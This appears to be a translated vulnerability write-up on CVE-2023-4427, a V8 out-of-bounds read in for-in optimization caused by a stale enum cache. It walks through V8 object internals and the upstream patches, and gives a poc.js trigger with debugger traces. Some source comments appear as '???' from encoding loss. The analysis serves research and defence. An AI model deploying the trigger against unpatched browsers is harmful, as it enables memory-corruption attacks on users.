CVE-2023-4427 PoC:V8 中的内存访问越界分析
2023-11-29 15:52:0 Author: paper.seebug.org(查看原文) 阅读量:46 收藏

原文链接:CVE-2023-4427 PoC : Out of bounds memory access in V8
译者:知道创宇404实验室翻译组

本文是由Google Project Zero的Sergei Glazunov发布的报告,介绍了 for-in 在优化过程中发生的 oob 漏洞分析。

Mac 和 Linux 的稳定版和扩展稳定版通道已更新至116.0.5845.110,Windows 则更新为 116.0.5845.110/.111,将在后续进行发布。版本的完整变更列表可在日志中找到。

环境设置

安装depot_tools

cd ~
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=~/depot_tools:$PATH

获取V8源代码

mkdir v8
cd v8
fetch v8
cd v8
git checkout fd4597755cb
gclient sync -D

安装构建依赖项

./build/install-build-deps.sh

构建V8

gn gen out/debug --args="v8_no_inline=true v8_optimized_debug=false is_component_build=false v8_expose_memory_corruption_api=true"
gn gen out/release --args="v8_no_inline=true is_debug=false v8_expose_memory_corruption_api=true"
ninja -C out/debug d8; ninja -C out/release d8

安装GDB插件

echo -e '\nsource ~/v8/v8/tools/gdbinit' >> ~/.gdbinit

In-object property

In-object property指的是将数据存储在对象本身,而不是转换地址指针,因此提供了最快的访问方式。

img

const obj = {};
obj.a = 1;
% DebugPrint(obj);

img

in-object是根据对象的初始大小预先确定的,如果添加了比初始大小更多的属性,这些属性将被存储在properties中。

const obj = {};
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
% DebugPrint(obj);
DebugPrint: 0x201f001cc715: [JS_OBJECT_TYPE]
 - map: 0x201f000db28d <Map[28](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x201f000c4b79 <Object map = 0x201f000c41b5>
 - elements: 0x201f00000219 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x201f00000219 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x201f00002a49: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
    0x201f00002a59: [String] in ReadOnlySpace: #b: 2 (const data field 1), location: in-object
    0x201f00002a69: [String] in ReadOnlySpace: #c: 3 (const data field 2), location: in-object
    0x201f00002a79: [String] in ReadOnlySpace: #d: 4 (const data field 3), location: in-object
 }
const obj = {};
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
% DebugPrint(obj);
DebugPrint: 0x12f4001cc721: [JS_OBJECT_TYPE]
 - map: 0x12f4000db2c9 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x12f4000c4b79 <Object map = 0x12f4000c41b5>
 - elements: 0x12f400000219 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x12f4001cc841 <PropertyArray[3]>
 - All own properties (excluding elements): {
    0x12f400002a49: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
    0x12f400002a59: [String] in ReadOnlySpace: #b: 2 (const data field 1), location: in-object
    0x12f400002a69: [String] in ReadOnlySpace: #c: 3 (const data field 2), location: in-object
    0x12f400002a79: [String] in ReadOnlySpace: #d: 4 (const data field 3), location: in-object
    0x12f400002a89: [String] in ReadOnlySpace: #e: 5 (const data field 4), location: properties[0]
 }

DescriptorArray

property的元信息存储在描述符中,类似于map,它共享具有相同结构的对象的描述符(例如相同名称的属性,相同顺序),以节省内存空间。

const object1 = {};
object1.a = 1;
% DebugPrint(object1);
const object2 = {};
object2.a = 2;
object2.b = 3;
% DebugPrint(object1);
% DebugPrint(object2);
  • 当只创建了object1时,在描述符中只有属性名为'a'的信息。
DebugPrint: 0x21d8001cc741: [JS_OBJECT_TYPE]
 - map: 0x21d8000db305 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x21d8000c4b79 <Object map = 0x21d8000c41b5>
 - elements: 0x21d800000219 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x21d800000219 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x21d800002a49: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
 }
0x21d8000db305: [Map] in OldSpace
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 3
 - enum length: invalid
 - stable_map
 - back pointer: 0x21d8000c49ad <Map[28](HOLEY_ELEMENTS)>
 - prototype_validity cell: 0x21d8000db34d <Cell value= 0>
 - instance descriptors (own) #1: 0x21d8001cc75d <DescriptorArray[1]>
 - prototype: 0x21d8000c4b79 <Object map = 0x21d8000c41b5>
 - constructor: 0x21d8000c46bd <JSFunction Object (sfi = 0x21d80008bf69)>
 - dependent code: 0x21d800000229 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

0x21d8001cc75d: [DescriptorArray]
 - map: 0x21d800000129 <Map(DESCRIPTOR_ARRAY_TYPE)>
 - enum_cache: empty
 - nof slack descriptors: 0
 - nof descriptors: 1
 - raw gc state: mc epoch 0, marked 0, delta 0
  [0]: 0x21d800002a49: [String] in ReadOnlySpace: #a (const data field 0:s, p: 0, attrs: [WEC]) @ Any
  • (object1 DebugPrint) 在创建object2之后,描述符已经发生了变化,并进行了转换,现在包含了属性名为'a'和'b'的信息。
DebugPrint: 0x21d8001cc741: [JS_OBJECT_TYPE]
 - map: 0x21d8000db305 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x21d8000c4b79 <Object map = 0x21d8000c41b5>
 - elements: 0x21d800000219 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x21d800000219 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x21d800002a49: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
 }
0x21d8000db305: [Map] in OldSpace
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 3
 - enum length: invalid
 - back pointer: 0x21d8000c49ad <Map[28](HOLEY_ELEMENTS)>
 - prototype_validity cell: 0x21d8000db34d <Cell value= 0>
 - instance descriptors #1: 0x21d8001cc795 <DescriptorArray[2]>
 - transitions #1: 0x21d8000db38d <Map[28](HOLEY_ELEMENTS)>
     0x21d800002a59: [String] in ReadOnlySpace: #b: (transition to (const data field, attrs: [WEC]) @ Any) -> 0x21d8000db38d <Map[28](HOLEY_ELEMENTS)>
 - prototype: 0x21d8000c4b79 <Object map = 0x21d8000c41b5>
 - constructor: 0x21d8000c46bd <JSFunction Object (sfi = 0x21d80008bf69)>
 - dependent code: 0x21d800000229 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

0x21d8001cc795: [DescriptorArray]
 - map: 0x21d800000129 <Map(DESCRIPTOR_ARRAY_TYPE)>
 - enum_cache: empty
 - nof slack descriptors: 0
 - nof descriptors: 2
 - raw gc state: mc epoch 0, marked 0, delta 0
  [0]: 0x21d800002a49: [String] in ReadOnlySpace: #a (const data field 0:s, p: 0, attrs: [WEC]) @ Any
  [1]: 0x21d800002a59: [String] in ReadOnlySpace: #b (const data field 1:s, p: 1, attrs: [WEC]) @ Any
  • 如果(object2 DebugPrint)具有相同的格式,就像map一样,可以共享描述符,可以确认共享了object1的描述符。
DebugPrint: 0x21d8001cc779: [JS_OBJECT_TYPE]
 - map: 0x21d8000db38d <Map[28](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x21d8000c4b79 <Object map = 0x21d8000c41b5>
 - elements: 0x21d800000219 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x21d800000219 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x21d800002a49: [String] in ReadOnlySpace: #a: 2 (const data field 0), location: in-object
    0x21d800002a59: [String] in ReadOnlySpace: #b: 3 (const data field 1), location: in-object
 }
0x21d8000db38d: [Map] in OldSpace
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 2
 - enum length: invalid
 - stable_map
 - back pointer: 0x21d8000db305 <Map[28](HOLEY_ELEMENTS)>
 - prototype_validity cell: 0x21d8000db34d <Cell value= 0>
 - instance descriptors (own) #2: 0x21d8001cc795 <DescriptorArray[2]>
 - prototype: 0x21d8000c4b79 <Object map = 0x21d8000c41b5>
 - constructor: 0x21d8000c46bd <JSFunction Object (sfi = 0x21d80008bf69)>
 - dependent code: 0x21d800000229 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

描述符数组的结构如下。

/ A DescriptorArray is a custom array that holds instance descriptors.
// It has the following layout:
//   Header:
//     [16:0  bits]: number_of_all_descriptors (including slack)
//     [32:16 bits]: number_of_descriptors
//     [48:32 bits]: raw_number_of_marked_descriptors (used by GC)
//     [64:48 bits]: alignment filler
//     [kEnumCacheOffset]: enum cache
//   Elements:
//     [kHeaderSize + 0]: first key (and internalized String)
//     [kHeaderSize + 1]: first descriptor details (see PropertyDetails)
//     [kHeaderSize + 2]: first value for constants / Smi(1) when not used
//   Slack:
//     [kHeaderSize + number of descriptors * 3]: start of slack
// The "value" fields store either values or field types. A field type is either
// FieldType::None(), FieldType::Any() or a weak reference to a Map. All other
// references are strong.

enum cache

enum cache是在在查询设置了enumerable属性的对象的for-in循环或Object.getOwnPropertyNames()等对象属性时创建的,如果对象的值或映射没有发生更改,它将引用enum cache以减少内存访问次数并提高速度。

重点在于enum cache只包含keys和indices,不包含实际值。

img

而且enum cache只会在快速属性中生成。

img

在for-in语句情况下,enum缓存会按照以下顺序生成,并且当对象发生改变时,enum缓存也会随之改变。

const obj = {};
obj.a = 1;

for (let key in obj) { } 
[+] RUNTIME_FUNCTION(Runtime_ForInEnumerate)
[+] MaybeHandle<HeapObject> Enumerate
[+] Prepare Key
[+] CheckAndInitializeEmptyEnumCache(JSReceiver object)
  [-] EnumLength = 1023, kInvalidEnumCacheSentinel = 1023
  [-] JSObject::cast(object).HasEnumerableElements = 0
[+] FastKeyAccumulator::GetKeys
[+] FastKeyAccumulator::GetKeysFast
[+] FastKeyAccumulator::GetOwnKeysWithUninitializedEnumLength
[+] GetFastEnumPropertyKeys
0x6fa00000219: [FixedArray] in ReadOnlySpace
 - map: 0x06fa00000089 <Map(FIXED_ARRAY_TYPE)>
 - length: 0
[+] FastKeyAccumulator::InitializeFastPropertyEnumCache
[+] DescriptorArray::InitializeOrChangeEnumCache
0x6fa000db2e9: [EnumCache] in OldSpace
 - map: 0x06fa000001f1 <Map[12](ENUM_CACHE_TYPE)>
 - keys: 0x06fa000db2d1 <FixedArray[1]>
 - indices: 0x06fa000db2dd <FixedArray[1]>
0x6fa000db249: [Map] in OldSpace
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 3
 - enum length: 1
 - stable_map
 - back pointer: 0x06fa000c49ad <Map[28](HOLEY_ELEMENTS)>
 - prototype_validity cell: 0x06fa000db291 <Cell value= 0>
 - instance descriptors (own) #1: 0x06fa001cc681 <DescriptorArray[1]>
 - prototype: 0x06fa000c4b79 <Object map = 0x6fa000c41b5>
 - constructor: 0x06fa000c46bd <JSFunction Object (sfi = 0x6fa0008bf69)>
 - dependent code: 0x06fa00000229 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0
0x6fa000db2e9: [EnumCache] in OldSpace
 - map: 0x06fa000001f1 <Map[12](ENUM_CACHE_TYPE)>
 - keys: 0x06fa000db2d1 <FixedArray[1]>
 - indices: 0x06fa000db2dd <FixedArray[1]>
// keys.cc

void FastKeyAccumulator::Prepare() {
  ...

    bool has_no_properties = CheckAndInitializeEmptyEnumCache(current); // true == not enumerable
    // enum cache? ???? ??? ??????.

  ...
}
// keys.cc

MaybeHandle<FixedArray> FastKeyAccumulator::GetKeys(
    GetKeysConversion keys_conversion) {
  // TODO(v8:9401): We should extend the fast path of KeyAccumulator::GetKeys to
  // also use fast path even when filter = SKIP_SYMBOLS. We used to pass wrong
  // filter to use fast path in cases where we tried to verify all properties
  // are enumerable. However these checks weren't correct and passing the wrong
  // filter led to wrong behaviour.
  printf("[+] FastKeyAccumulator::GetKeys\n");
  if (filter_ == ENUMERABLE_STRINGS) {
    Handle<FixedArray> keys;
    if (GetKeysFast(keys_conversion).ToHandle(&keys)) {  // ?????? ?? ??? key? ?????.
      return keys;
    }
    if (isolate_->has_pending_exception()) return MaybeHandle<FixedArray>();
  }

  if (try_prototype_info_cache_) {
    return GetKeysWithPrototypeInfoCache(keys_conversion);
  }
  return GetKeysSlow(keys_conversion);
}


MaybeHandle<FixedArray> FastKeyAccumulator::GetKeysFast(
    GetKeysConversion keys_conversion) {
  printf("[+] FastKeyAccumulator::GetKeysFast\n");
  bool own_only = has_empty_prototype_ || mode_ == KeyCollectionMode::kOwnOnly;
  Map map = receiver_->map();
  if (!own_only || map.IsCustomElementsReceiverMap()) {
    return MaybeHandle<FixedArray>();
  }

  // From this point on we are certain to only collect own keys.
  DCHECK(receiver_->IsJSObject());
  Handle<JSObject> object = Handle<JSObject>::cast(receiver_);

  // Do not try to use the enum-cache for dict-mode objects.
  if (map.is_dictionary_map()) {
    return GetOwnKeysWithElements<false>(isolate_, object, keys_conversion,
                                         skip_indices_);
  }
  int enum_length = receiver_->map().EnumLength();
  if (enum_length == kInvalidEnumCacheSentinel) {
    Handle<FixedArray> keys;
    // Try initializing the enum cache and return own properties.
    if (GetOwnKeysWithUninitializedEnumLength().ToHandle(&keys)) { // enum cache? ???? ??? enum length? 0 
      if (v8_flags.trace_for_in_enumerate) {
        PrintF("| strings=%d symbols=0 elements=0 || prototypes>=1 ||\n",
               keys->length());
      }
      is_receiver_simple_enum_ =
          object->map().EnumLength() != kInvalidEnumCacheSentinel;
      return keys;
    }
  }
  // The properties-only case failed because there were probably elements on the
  // receiver.
  return GetOwnKeysWithElements<true>(isolate_, object, keys_conversion,
                                      skip_indices_);
}

MaybeHandle<FixedArray>
FastKeyAccumulator::GetOwnKeysWithUninitializedEnumLength() {
  printf("[+] FastKeyAccumulator::GetOwnKeysWithUninitializedEnumLength\n");
  Handle<JSObject> object = Handle<JSObject>::cast(receiver_);
  // Uninitialized enum length
  Map map = object->map();
  if (object->elements() != ReadOnlyRoots(isolate_).empty_fixed_array() &&
      object->elements() !=
          ReadOnlyRoots(isolate_).empty_slow_element_dictionary()) {
    // Assume that there are elements.
    return MaybeHandle<FixedArray>();
  }
  int number_of_own_descriptors = map.NumberOfOwnDescriptors();
  if (number_of_own_descriptors == 0) {
    map.SetEnumLength(0);
    return isolate_->factory()->empty_fixed_array();
  }
  // We have no elements but possibly enumerable property keys, hence we can
  // directly initialize the enum cache.
  Handle<FixedArray> keys = GetFastEnumPropertyKeys(isolate_, object); // in-object? peroperties? ?? ??? ??? array? ????
  if (is_for_in_) return keys;
  // Do not leak the enum cache as it might end up as an elements backing store.
  return isolate_->factory()->CopyFixedArray(keys);
}

// ????? fastproperty? ?? ??? cache? ?????.
// static
Handle<FixedArray> FastKeyAccumulator::InitializeFastPropertyEnumCache(
    Isolate* isolate, Handle<Map> map, int enum_length,
    AllocationType allocation) {
  printf("[+] FastKeyAccumulator::InitializeFastPropertyEnumCache\n");
  DCHECK_EQ(kInvalidEnumCacheSentinel, map->EnumLength());
  DCHECK_GT(enum_length, 0);
  DCHECK_EQ(enum_length, map->NumberOfEnumerableProperties());
  DCHECK(!map->is_dictionary_map());

  Handle<DescriptorArray> descriptors =
      Handle<DescriptorArray>(map->instance_descriptors(isolate), isolate);

  // The enum cache should have been a hit if the number of enumerable
  // properties is fewer than what's already in the cache.
  DCHECK_LT(descriptors->enum_cache().keys().length(), enum_length);
  isolate->counters()->enum_cache_misses()->Increment();

  // Create the keys array.
  int index = 0;
  bool fields_only = true;
  Handle<FixedArray> keys =
      isolate->factory()->NewFixedArray(enum_length, allocation);
  for (InternalIndex i : map->IterateOwnDescriptors()) {
    DisallowGarbageCollection no_gc;
    PropertyDetails details = descriptors->GetDetails(i);
    if (details.IsDontEnum()) continue;
    Object key = descriptors->GetKey(i);
    if (key.IsSymbol()) continue;
    keys->set(index, key);
    if (details.location() != PropertyLocation::kField) fields_only = false;
    index++;
  }
  DCHECK_EQ(index, keys->length());

  // Optionally also create the indices array.
  Handle<FixedArray> indices = isolate->factory()->empty_fixed_array();
  if (fields_only) {
    indices = isolate->factory()->NewFixedArray(enum_length, allocation);
    index = 0;
    DisallowGarbageCollection no_gc;
    Tagged<Map> raw_map = *map;
    Tagged<FixedArray> raw_indices = *indices;
    Tagged<DescriptorArray> raw_descriptors = *descriptors;
    for (InternalIndex i : raw_map->IterateOwnDescriptors()) {
      PropertyDetails details = raw_descriptors->GetDetails(i);
      if (details.IsDontEnum()) continue;
      Object key = raw_descriptors->GetKey(i);
      if (key.IsSymbol()) continue;
      DCHECK_EQ(PropertyKind::kData, details.kind());
      DCHECK_EQ(PropertyLocation::kField, details.location());
      FieldIndex field_index = FieldIndex::ForDetails(raw_map, details);
      raw_indices->set(index, Smi::FromInt(field_index.GetLoadByFieldIndex()));
      index++;
    }
    DCHECK_EQ(index, indices->length());
  }

  DescriptorArray::InitializeOrChangeEnumCache(descriptors, isolate, keys,
                                               indices, allocation); // enum cache??
  if (map->OnlyHasSimpleProperties()) map->SetEnumLength(enum_length);
  return keys;
}
// objects.cc

void DescriptorArray::InitializeOrChangeEnumCache(
    Handle<DescriptorArray> descriptors, Isolate* isolate,
    Handle<FixedArray> keys, Handle<FixedArray> indices,
    AllocationType allocation_if_initialize) {
  printf("[+] DescriptorArray::InitializeOrChangeEnumCache\n");
  EnumCache enum_cache = descriptors->enum_cache();
  if (enum_cache == ReadOnlyRoots(isolate).empty_enum_cache()) {
    enum_cache = *isolate->factory()->NewEnumCache(keys, indices,
                                                   allocation_if_initialize);
    descriptors->set_enum_cache(enum_cache);
  } else {
    enum_cache.set_keys(*keys);
    enum_cache.set_indices(*indices);
  }
  enum_cache.Print();
}

在不改变对象的情况下再次访问,如果在libv8.so的ForInPrepareHandler中查找缓存,它会立即被引用。

#0  0x000055a078bb11f0 in int std::__Cr::__cxx_atomic_load<int>(std::__Cr::__cxx_atomic_base_impl<int> const volatile*, std::__Cr::memory_order) ()
    at ../../buildtools/third_party/libc++/trunk/include/__atomic/cxx_atomic_impl.h:356
#1  0x000055a078bb119b in std::__Cr::__atomic_base<int, false>::load(std::__Cr::memory_order) const volatile ()
    at ../../buildtools/third_party/libc++/trunk/include/__atomic/atomic_base.h:56
#2  0x000055a078bb115b in int std::__Cr::atomic_load_explicit<int>(std::__Cr::atomic<int> const volatile*, std::__Cr::memory_order) ()
    at ../../buildtools/third_party/libc++/trunk/include/__atomic/atomic.h:239
#3  0x000055a078bb111f in v8::base::Relaxed_Load(int const volatile*) ()
    at ../../src/base/atomicops.h:237
#4  0x000055a078bb106d in unsigned int v8::base::AsAtomicImpl<int>::Relaxed_Load<unsigned int>(unsigned int*) () at ../../src/base/atomic-utils.h:87
warning: Could not find DWO CU obj/d8/d8-test.dwo(0x1a7160efe0c25e55) referenced by CU at offset 0xc0 [in module /home/user/Downloads/v8/out.gn/x64.debug/d8]
#5  0x000055a078bd7da2 in v8::internal::TaggedField<v8::internal::MapWord, 0, v8::internal::V8HeapCompressionScheme>::Relaxed_Load_Map_Word(v8::internal::PtrComprCageBase, v8::internal::HeapObject) ()
    at ../../src/objects/tagged-field-inl.h:127
#6  0x000055a078bd7d20 in v8::internal::HeapObject::map_word(v8::internal::PtrComprCageBase, v8::RelaxedLoadTag) const ()
    at ../../src/objects/objects-inl.h:964
#7  0x000055a078bd7be5 in v8::internal::HeapObject::map(v8::internal::PtrComprCageBase) const () at ../../src/objects/objects-inl.h:853
#8  0x000055a078c4cf80 in v8::internal::HeapObject::IsFixedArray(v8::internal::PtrComprCageBase) const () at ../../src/objects/instance-type-inl.h:348
#9  0x000055a078c4cd9d in v8::internal::HeapObject::IsFixedArray() const ()
    at ../../src/objects/instance-type-inl.h:348
warning: Could not find DWO CU obj/v8_base_without_compiler/api.dwo(0x3b06f66b8ad56507) referenced by CU at offset 0xcc [in module /home/user/Downloads/v8/out.gn/x64.debug/libv8.so]
#10 0x00007fc689939d5f in v8::internal::Object::IsFixedArray() const ()
    at ../../src/objects/objects-inl.h:102
warning: Could not find DWO CU obj/v8_base_without_compiler/object-type.dwo(0x882e192b9f7e0381) referenced by CU at offset 0x3b58 [in module /home/user/Downloads/v8/out.gn/x64.debug/libv8.so]
#11 0x00007fc68a8093b8 in v8::internal::CheckObjectType(unsigned long, unsigned long, unsigned long) () at ../../src/objects/object-type.cc:69
#12 0x00007fc68974b452 in Builtins_ForInPrepareHandler ()
   from /home/user/Downloads/v8/out.gn/x64.debug/libv8.so

ReduceJSLoadPropertyWithEnumeratedKey 优化

当使用enum属性获取property时,不使用JSLoadProperty而是通过索引使用LoadFieldByIndex函数进行查询,以提高速度。这种优化方式不是按名称而是按索引进行查询enum_cache的indices,以提升性能。

// js-native-context-specialization.cc

Reduction JSNativeContextSpecialization::ReduceJSLoadPropertyWithEnumeratedKey(
    Node* node) {
  // We can optimize a property load if it's being used inside a for..in:
  //   for (name in receiver) {
  //     value = receiver[name];
  //     ...
  //   }
  //
  // If the for..in is in fast-mode, we know that the {receiver} has {name}
  // as own property, otherwise the enumeration wouldn't include it. The graph
  // constructed by the BytecodeGraphBuilder in this case looks like this:

  // receiver
  //  ^    ^
  //  |    |
  //  |    +-+
  //  |      |
  //  |   JSToObject
  //  |      ^
  //  |      |
  //  |      |
  //  |  JSForInNext
  //  |      ^
  //  |      |
  //  +----+ |
  //       | |
  //       | |
  //   JSLoadProperty

  // If the for..in has only seen maps with enum cache consisting of keys
  // and indices so far, we can turn the {JSLoadProperty} into a map check
  // on the {receiver} and then just load the field value dynamically via
  // the {LoadFieldByIndex} operator. The map check is only necessary when
  // TurboFan cannot prove that there is no observable side effect between
  // the {JSForInNext} and the {JSLoadProperty} node.
  //
  // Also note that it's safe to look through the {JSToObject}, since the
  // [[Get]] operation does an implicit ToObject anyway, and these operations
  // are not observable.

  DCHECK_EQ(IrOpcode::kJSLoadProperty, node->opcode());
  Node* receiver = NodeProperties::GetValueInput(node, 0);
  JSForInNextNode name(NodeProperties::GetValueInput(node, 1));
  Node* effect = NodeProperties::GetEffectInput(node);

 ...
}
const object1 = {};
object1.a = 1;
object1.b = 2;

function test(callback) {
    for (let key in object1) {
    console.log(object1[key]);
    }
}
%PrepareFunctionForOptimization(trigger);
test();
test();
%OptimizeFunctionOnNextCall(test);
test();

图像

图像

补丁差异

在更新对象的map的过程中,以前缺少清除先前描述符的enum_cache的代码,导致旧的enum_cache仍然存在。

补丁差异页面链接

diff --git a/src/objects/map-updater.cc b/src/objects/map-updater.cc
index 8b2e7f3..568df12 100644
--- a/src/objects/map-updater.cc
+++ b/src/objects/map-updater.cc
@@ -12,6 +12,7 @@
 #include "src/handles/handles.h"
 #include "src/heap/parked-scope-inl.h"
 #include "src/objects/field-type.h"
+#include "src/objects/keys.h"
 #include "src/objects/objects-inl.h"
 #include "src/objects/objects.h"
 #include "src/objects/property-details.h"
@@ -1037,6 +1038,13 @@
   // the new descriptors to maintain descriptors sharing invariant.
   split_map->ReplaceDescriptors(isolate_, *new_descriptors);

+  // If the old descriptors had an enum cache, make sure the new ones do too.
+  if (old_descriptors_->enum_cache().keys().length() > 0 &&
+      new_map->NumberOfEnumerableProperties() > 0) {
+    FastKeyAccumulator::InitializeFastPropertyEnumCache(
+        isolate_, new_map, new_map->NumberOfEnumerableProperties());
+  }
+
   if (has_integrity_level_transition_) {
     target_map_ = new_map;
     state_ = kAtIntegrityLevelSource;

不要尝试创建空的enum cache

源代码链接

[runtime] Don't try to create empty enum cache.

When copying maps and the new map has no enumerable properties we
should not try to initialize an enum cache.

This happens if the deprecation is due to making the only property in
a map non enumerable.

Bug: chromium:1472317, chromium:1470668
Change-Id: I7a6af63e50dc30592e2caacce0caccfb31f534cf
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/4775581
Reviewed-by: Tobias Tebbi <[email protected]>
Commit-Queue: Olivier Flückiger <[email protected]>
Cr-Commit-Position: refs/heads/main@{#89534}
diff --git a/src/objects/map-updater.cc b/src/objects/map-updater.cc
index 7a864d9..9c20491 100644
--- a/src/objects/map-updater.cc
+++ b/src/objects/map-updater.cc
@@ -1040,7 +1040,8 @@
   split_map->ReplaceDescriptors(isolate_, *new_descriptors);

   // If the old descriptors had an enum cache, make sure the new ones do too.
-  if (old_descriptors_->enum_cache()->keys()->length() > 0) {
+  if (old_descriptors_->enum_cache()->keys()->length() > 0 &&
+      new_map->NumberOfEnumerableProperties() > 0) {
     FastKeyAccumulator::InitializeFastPropertyEnumCache(
         isolate_, new_map, new_map->NumberOfEnumerableProperties());
   }

[runtime] 在映射更新时重新创建enum cache

源代码链接

[runtime] Recreate enum cache on map update

If we had one before, we probably want one after too.

Bug: chromium:1470668
Change-Id: Ib83f7b9549b5686a16d35dd7114bf88b12d0a3a0
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/4771019
Auto-Submit: Leszek Swirski <[email protected]>
Commit-Queue: Tobias Tebbi <[email protected]>
Reviewed-by: Tobias Tebbi <[email protected]>
Cr-Commit-Position: refs/heads/main@{#89488}
diff --git a/src/objects/map-updater.cc b/src/objects/map-updater.cc
index 7660fab..7a864d9 100644
--- a/src/objects/map-updater.cc
+++ b/src/objects/map-updater.cc
@@ -12,6 +12,7 @@
 #include "src/handles/handles.h"
 #include "src/heap/parked-scope-inl.h"
 #include "src/objects/field-type.h"
+#include "src/objects/keys.h"
 #include "src/objects/objects-inl.h"
 #include "src/objects/objects.h"
 #include "src/objects/property-details.h"
@@ -1038,6 +1039,12 @@
   // the new descriptors to maintain descriptors sharing invariant.
   split_map->ReplaceDescriptors(isolate_, *new_descriptors);

+  // If the old descriptors had an enum cache, make sure the new ones do too.
+  if (old_descriptors_->enum_cache()->keys()->length() > 0) {
+    FastKeyAccumulator::InitializeFastPropertyEnumCache(
+        isolate_, new_map, new_map->NumberOfEnumerableProperties());
+  }
+
   if (has_integrity_level_transition_) {
     target_map_ = new_map;
     state_ = kAtIntegrityLevelSource;
const object1 = {};
object1.a = 1;
const object2 = {};
object2.a = 2;
object2.b = 3;
const object3 = {};
object3.a = 4;
object3.b = 5;
object3.c = 6;

for (let key in object2) { }
% DebugPrint(object2);

object3.c = 1.1;
% DebugPrint(object2);

图像

在映射更新时,描述符的值已经被修改。然而,在修改之前的描述符中,仍然保留着旧的enum cache。

img

触发漏洞

const object1 = {};
object1.a = 1;
const object2 = {};
object2.a = 2;
object2.b = 3;
const object3 = {};
object3.a = 4;
object3.b = 5;
object3.c = 6;

for (let key in object2) { } // forin enum cache generate

function trigger() {
    for (let key in object2) {
        console.log(object2[key]);
    }
}

% PrepareFunctionForOptimization(trigger);
trigger();
% OptimizeFunctionOnNextCall(trigger);
trigger(); // ReduceJSLoadPropertyWithEnumeratedKey optimization

当对for-in进行优化时,会进行ReduceJSLoadPropertyWithEnumeratedKey优化。

在经过优化的触发函数代码中,可以看到从起始点开始查询object2的值并获取enum_cache。

  • for-in返回object map

img

img

  • 获取描述符

img

img

img

  • 枚举缓存查找

img

img

img

  • 关键查找

img

img

  • 将数据存储到堆栈中。在这里,r8用作enum长度,稍后将在循环比较语句中使用。

img

img

img

换句话说,优化后的代码在函数开始时会加载for-in对象的值并判断enum cache。

因此,如果利用在之前未被初始化的旧描述符cache这一点,当在trigger函数中途更新对象的值时,它可能会考虑并引用旧描述符的cache索引,但由于描述符已更改,新的索引不存在,因此可能会导致out-of-bounds错误。

/* poc.js */

const object1 = {};
object1.a = 1;
const object2 = {};
object2.a = 2;
object2.b = 3;
const object3 = {};
object3.a = 4;
object3.b = 5;
object3.c = 6;

for (let key in object2) { } // old descriptor enum cache generate index[2]

function trigger(callback) {
    for (let key in object2) {
        callback();
        console.log(object2[key]);
    }
}

% PrepareFunctionForOptimization(trigger);
trigger(_ => _);
trigger(_ => _);
% OptimizeFunctionOnNextCall(trigger);
trigger(_ => _);  // ReduceJSLoadPropertyWithEnumeratedKey optimization

% DebugPrint(trigger);
% DebugPrint(object2);
readline();

trigger(_ => {
    object3.c = 1.1;  // MapUpdater
    for (let key in object1) { } // new descriptor enum cache generate index[1]
    % DebugPrint(object2);
    readline();
});

在新描述符 -> 枚举缓存 -> 索引中,引用索引[2]时检索到不正确的地址。

img

# movl r9,[r14+r9*1+0xb] : get enum cache 
 >> r9 
0xe24001cc9f9: [DescriptorArray]
 - map: 0x0e2400000129 <Map(DESCRIPTOR_ARRAY_TYPE)>
 - enum_cache: 1
   - keys: 0x0e24000dbdad <FixedArray[1]>
   - indices: 0x0e24000dbdb9 <FixedArray[1]>
 - nof slack descriptors: 0
 - nof descriptors: 3
 - raw gc state: mc epoch 0, marked 0, delta 0
  [0]: 0xe2400002a49: [String] in ReadOnlySpace: #a (const data field 0:s, p: 0, attrs: [WEC]) @ Any
  [1]: 0xe2400002a59: [String] in ReadOnlySpace: #b (const data field 1:s, p: 2, attrs: [WEC]) @ Any
  [2]: 0xe2400002a69: [String] in ReadOnlySpace: #c (data field 2:d, p: 1, attrs: [WEC]) @ Any

>> [r14+r9*1+0xb]
0xe24000dbdc5: [EnumCache] in OldSpace
 - map: 0x0e24000001f1 <Map[12](ENUM_CACHE_TYPE)>
 - keys: 0x0e24000dbdad <FixedArray[1]>
 - indices: 0x0e24000dbdb9 <FixedArray[1]>

img

# movl r9,[r14+r9*1+0x7] : get indices
>> [r14+r9*1+0x7]
0xe24000dbdb9: [FixedArray] in OldSpace
 - map: 0x0e2400000089 <Map(FIXED_ARRAY_TYPE)>
 - length: 1
           0: 0
>>  x/20wx 0xe24000dbdb9 - 1 
